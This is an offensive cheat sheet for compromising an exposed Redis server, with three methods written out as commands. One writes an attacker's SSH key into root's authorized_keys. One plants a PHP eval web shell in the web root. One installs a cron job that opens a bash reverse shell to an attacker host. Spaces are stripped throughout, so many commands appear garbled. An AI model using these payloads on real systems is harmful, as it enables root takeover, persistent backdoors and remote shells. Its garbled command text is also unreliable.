# Method 1: Write SSH public key# RHOST=remoteHost; RPORT=# Step 1: Generates an SSH key pairif [ -f /tmp/.ssh_key ]; then; rm/tmp/.ssh_key/tmp/.ssh_key.pub; fissh-keygen-trsa-b2048-N""-f/tmp/.ssh_key(echo-e"\n\n"; awk'{print $1,$2;}'/tmp/.ssh_key.pub; echo-e"\n\n") >/tmp/.ssh_key_redis.pub# Step 2: Upload SSH public keycat/tmp/.ssh_key_redis.pub|redis-cli-h $RHOST -p $RPORT -xsetsantaredis-cli-h $RHOST -p $RPORT> CONFIG SET DIR /root/.ssh/ # The alternative is `CONFIG SET DIR /etc/ssh/`>CONFIGSETDBFILENAME"authorized_keys"> SAVE# Step 3: Connect SSH using the private keyssh-i/tmp/.ssh_keyroot@localhost# Method 2: Write WebShellredis-cli-h $RHOST -p $RPORT> CONFIG SET DIR /var/www/html> CONFIG SET DBFILENAME santa.php> SET santa "\n\n\n\n<?php @eval($_REQUEST['santa']);?>\n\n\n\n"> SAVE# Method 3: Write Linux crontabredis-cli-h $RHOST -p $RPORT> CONFIG SET DIR /etc/cron.d> CONFIG SET DBFILENAME santa_revs> SET santa "\n\n\n\n* * * * * root bash -i >& /dev/tcp/$EHOST/$EPORT 0>&1\n\n\n\n"> SAVE